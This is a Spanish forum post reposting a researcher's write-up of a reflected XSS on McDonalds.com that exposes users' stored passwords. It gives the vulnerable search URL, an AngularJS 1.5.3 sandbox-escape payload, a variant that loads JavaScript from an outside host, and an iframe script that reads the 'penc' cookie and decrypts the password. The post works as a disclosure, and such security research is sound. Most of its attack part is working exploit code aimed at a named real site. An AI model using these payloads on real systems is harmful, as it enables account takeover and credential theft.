Robo contraseña en MacDonalds

Iniciado por d0r127, Enero 06, 2017, 09:22:12 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 06, 2017, 09:22:12 AM Ultima modificación: Enero 06, 2017, 10:56:40 AM por Gabriela

Un XSS reflejado a través de bypass hace que la exposición de la contraseña de los usuarios del McDonald

McDonalds.com contiene una página de búsqueda que refleja el valor del parámetro de búsqueda ( q) en la fuente de la página. Así que cuando buscamos en la ***********-test-reflected-test-***********que se verá así:


Enlace utilizado:
Código: php
 https://www.mcdonalds.com/us/en-us/search-results.html?q=***********-test-reflected-test-***********


McDonald utiliza AngularJS para que podamos tratar de imprimir el ID de ámbito único usando el valor de búsqueda. Podemos hacer esto cambiando el qvalor del parámetro a {{$id}}. Como podemos ver {{$id}}consigue convertido a 9la ID única (monótonamente creciente) del alcance AngularJS.


Enlace utilizado:
Código: php
 https://www.mcdonalds.com/us/en-us/search-results.html?q={{$id}}


Utilizando {{alert(1)}}como valor no funcionaría porque todo el código AngularJS se ejecuta en un entorno limitado. Sin embargo, la caja de arena AngularJS no es muy seguro. De hecho, no se debe confiar en absoluto. Llegó incluso eliminado en la versión 1.6 ( fuente ) porque le dio una falsa sensación de seguridad. PortSwigger creado un buen post sobre escapar de la caja de arena AngularJS ( enlace ).

Primero tenemos que encontrar la versión de AngularJS No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Podemos hacer esto mediante la ejecución angular.versionen la consola.


La versión es 1.5.3, por lo que la caja de arena de escape que necesitamos es
Código: php
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
. Podemos utilizar este escape caja de arena como valor de búsqueda, lo que resulta en una alerta.


Incluso podemos cargar archivos JavaScript externos utilizando la siguiente caja de arena de escape, lo que da lugar a la alerta a continuación.

Código: php
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)');}}`


El código JavaScript se puede cargar desde otro dominio desde McDonalds no excluye que el uso de la Content-Security-Policycabecera.


Robar la contraseña del usuario

Otra cosa que me di cuenta en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta era su cartel en la página que contenía una casilla muy especial. Normalmente se puede comprobar "Recuérdame" en el momento de firmar, pero de signo de McDonald en la página nos da la opción de recordar la contraseña.


He buscado en todo el JavaScript de la palabra clave passwordy me encontré con algo de código interesante que descifra la contraseña.


Si hay una cosa que no debe hacer, es descifrar contraseñas lado del cliente (o incluso almacenar contraseñas mediante el cifrado de dos vías).

Traté de ejecutar el código de mí mismo, y funcionó!


McDonald utiliza CryptoJS para cifrar y descifrar datos sensibles. Utilizan el mismo keyy ivpara todos los usuarios, lo que significa que sólo tengo que robar la penccookie para descifrar la contraseña de alguien.


He intentado descifrar la contraseña en la página de búsqueda usando una carga útil maliciosa de búsqueda, pero no funcionó. De alguna manera, las cookies no contienen caracteres ocultos en la página de búsqueda haciendo que el getCookiemétodo falle. El getCookiemétodo intenta recortar espacios en blanco de los valores de cookie. En las imágenes se puede ver a continuación .charAt(0)devuelve una cadena extraña cuando se ejecuta en la página de búsqueda.


Escribí algo de JavaScript que carga la página en un iframe y le quita la cookie de ese iframe.

Código: php
if (!window.xssIsExecuted) {
    window.xssIsExecuted = true;

    var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>');
    $('body').append(iframe);

    iframe.on('load', function() {
        var penc = iframe[0].contentWindow.getCookie('penc');
        alert(iframe[0].contentWindow.decrypt(penc));
    });
}


Ahora podemos utilizar la siguiente caja de arena de escape, lo que se traduce en mi contraseña en un cuadro de alerta!

Código: php
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/mcdonalds-password-stealer.js`)');}}





fuente:finnwea.com



Un saludo biachees :)